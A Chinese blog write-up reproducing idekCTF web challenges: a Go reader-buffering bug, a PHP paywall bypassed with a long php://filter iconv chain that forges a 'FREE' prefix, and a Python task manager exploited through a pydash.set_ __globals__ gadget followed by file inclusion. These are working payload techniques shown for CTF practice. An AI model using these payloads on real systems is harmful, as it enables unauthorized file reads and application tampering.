idekctf复现

第一题(忘记叫啥了)

环境docker有问题,没有办法进行第二步操作所以就跟着wp直接看代码复现一下吧

首先访问/just-read-it进入justReadIt

我们只要运行到程序的最后就可以拿到flag

func justReadIt(w http.ResponseWriter, r *http.Request) {  
        defer r.Body.Close()  
  
        body, err := ioutil.ReadAll(r.Body)  
        if err != nil {  
                w.WriteHeader(500)  
                w.Write([]byte("bad request\n"))  
                return  
        }  
  
        reqData := ReadOrderReq{}  
        if err := json.Unmarshal(body, &reqData); err != nil {  
                w.WriteHeader(500)  
                w.Write([]byte("invalid body\n"))  
                return  
        }  
  
        if len(reqData.Orders) > MaxOrders {  
                w.WriteHeader(500)  
                w.Write([]byte("whoa there, max 10 orders!\n"))  
                return  
        }  
  
        reader := bytes.NewReader(randomData)  
        validator := NewValidator()  
  
        ctx := context.Background()  
        for _, o := range reqData.Orders {  
                if err := validator.CheckReadOrder(o); err != nil {  
                        w.WriteHeader(500)  
                        w.Write([]byte(fmt.Sprintf("error: %v\n", err)))  
                        return  
                }  
  
                ctx = WithValidatorCtx(ctx, reader, int(o))  
                _, err := validator.Read(ctx)  
                if err != nil {  
                        w.WriteHeader(500)  
                        w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))  
                        return  
                }  
        }  
  
        if err := validator.Validate(ctx); err != nil {  
                w.WriteHeader(500)  
                w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))  
                return  
        }  
  
        w.WriteHeader(200)  
        w.Write([]byte(os.Getenv("FLAG")))  
}

先接收来自post传入的json数据解析保存到reqData中
在下面可以发现接收来自“Orders”的int数据

type ReadOrderReq struct {  
        Orders []int `json:"orders"`  
}

后面初始化了一个reader

func initRandomData() {

    rand.Seed(1337)

    randomData = make([]byte, 24576)

    if _, err := rand.Read(randomData); err != nil {

        panic(err)

    }

    copy(randomData[12625:], password[:])

}

可以看到randomData是由initRandomData初始化的
在最后发现password复制在了12625之后

    for _, o := range reqData.Orders {

        if err := validator.CheckReadOrder(o); err != nil {

            w.WriteHeader(500)

            w.Write([]byte(fmt.Sprintf("error: %v\n", err)))

            return

        }

  

        ctx = WithValidatorCtx(ctx, reader, int(o))

        _, err := validator.Read(ctx)

        if err != nil {

            w.WriteHeader(500)

            w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))

            return

        }

    }

在这里对reqFata.Orders进行遍历,调用了validator.CheckReadOrder对orders中的数据进行检查

func (v *Validator) CheckReadOrder(o int) error {

    if o <= 0 || o > 100 {

        return fmt.Errorf("invalid order %v", o)

    }

    return nil

}

检查里面的int数值是否在0~100之间,之后用validator.Read对里面的数据

    if err := validator.Validate(ctx); err != nil {

        w.WriteHeader(500)

        w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))

        return

    }

  

    w.WriteHeader(200)

    w.Write([]byte(os.Getenv("FLAG")))

最后调用validator.Validate

func (v *Validator) Validate(ctx context.Context) error {

    r, _ := GetValidatorCtxData(ctx)

    buf, err := v.Read(WithValidatorCtx(ctx, r, 32))

    if err != nil {

        return err

    }

    if bytes.Compare(buf, password[:]) != 0 {

        return errors.New("invalid password")

    }

    return nil

}

读取32位,之后跟password进行比较,成功就能拿到flag
而之前的password复制在了12625之后,并且orders数组最多容量10个数字
每个取最大100一共10个也就是1000,距离12625还有很大

func (v *Validator) Read(ctx context.Context) ([]byte, error) {  
        r, s := GetValidatorCtxData(ctx)  
        buf := make([]byte, s)  
        _, err := r.Read(buf)  
        if err != nil {  
                return nil, fmt.Errorf("read error: %v", err)  
        }  
        return buf, nil  
}
%%调用到了GetValidatorCtxData函数%%
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {

    reader := ctx.Value(reqValReaderKey).(io.Reader)

    size := ctx.Value(reqValSizeKey).(int)

    if size >= 100 {

        reader = bufio.NewReader(reader)

    }

    return reader, size

}

可以发现如果size是100的话那么就会调用一次bufio.NewReader

func NewReader(rd io.Reader) *Reader {  
        return NewReaderSize(rd, defaultBufSize)  
}

进行一次defaultBufSize覆盖,而他的大小是4096,也就是我们一个100就是4096,我们只需要让我们剩余输入的10个数加起来等于12625即可

simple-file-server

用tar解压的,搭建起来拉取镜像有问题,总是时间超时,但是上网可以找到公开镜像,后续会进行搭建

Paywall

<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="assets/style.css">
    <title>The idek Times</title>
</head>
<body>
<main>
    <nav>
        <h1>The idek Times</h1>
    </nav>
    <?php

  

        error_reporting(0);

        set_include_path('articles/');

  

        if (isset($_GET['p'])) {

            $article_content = file_get_contents($_GET['p'], 1);

  

            if (strpos($article_content, 'PREMIUM') === 0) {

                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions

            }

            else if (strpos($article_content, 'FREE') === 0) {

                echo "<article>$article_content</article>";

                die();

            }

            else {

                die('nothing here');

            }

        }

    ?>

  

    <a href="/?p=flag">

        <article>

            <h2>All about flags</h2>

            <p>Click to view</p>

        </article>

    </a>

    <a href="/?p=hello-world">

        <article>

            <h2>My first post!</h2>

            <p>Click to view</p>

        </article>

    </a>

  

    <a href="/?source" id="source">Source</a>

</main>

  

</body>

</html>

阅读index.php源码可以发现,在主页中有两个可以点击的标志,我们点进去发现下面的
Hello World是以FREE开头的并且可以打开看到,而上面的flag点击获得提示
Thank you for your interest in The idek Times, but this article is only for premium users!
查看一下代码中的检测逻辑

    <?php
        error_reporting(0);
        set_include_path('articles/');
        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);
            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
    ?>

接收一个get参数P并且读入文件,如果文件开头是FREE就可以读取到如果文件开头是PREMIUM那么就结束程序并且die
所以如果我们希望读取到flag中的内容就必须让file_get_contents读取到的文件中的内容开头变为FREE
我们知道file_get_contents是接收php的协议流的而且有些协议流是可以更改读取到的内容的,比如fiilter流的string.rot13、base64等,所以我们需要找到一套协议链来构造出以FREE开头并且读取到文件内容的协议流
这里提供一个自动化生成的php协议流生成脚本,他提供了有生成开头字母。
php_filter_chain

python3 php_filter_chain.py --chain 'FREE'

![[Pasted image 20230116163147.png]]

可以看到我们读取到了里面的内容但是里面出现了乱码,我们看看生成的协议链可以看到最后的链子是进行了一次base64的解码,也就是说它在最后base64解码的时候出现了偏差,而我们知道base64解码的时候会对每4位进行检查,所以说我们需要`FREE`后面填充垃圾字符串让base64成功解析出flag文件中的内容
我们只需要一个一个添加即可

最后发现添加两个空格即可拿到flag

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

![[Pasted image 20230116163450.png]]

task manager

需要慢慢复现,这题的量有点大,先简单梳理了一下逻辑
在这里可以看到
可以看到是通过 os.path.pardir 来对目录穿越进行了保护,但是我们可以通过修改 pardir 的值来绕过。
taskmanager.py 里面调用 pydash.set_() 可以通过实例化的 TaskManager 对象利用特殊属性实现对 app 对象的修改:

pydash.set_(  
    TaskManager(),  
    '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',  
    'xxx'  
)

所以我们可以覆盖掉path
在题目提供的dockerfile中可以看到flag是写入了dockerfile中的
直接LFI读取题目的dockerfile就可以拿到flag
![[Pasted image 20230121144849.png]]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值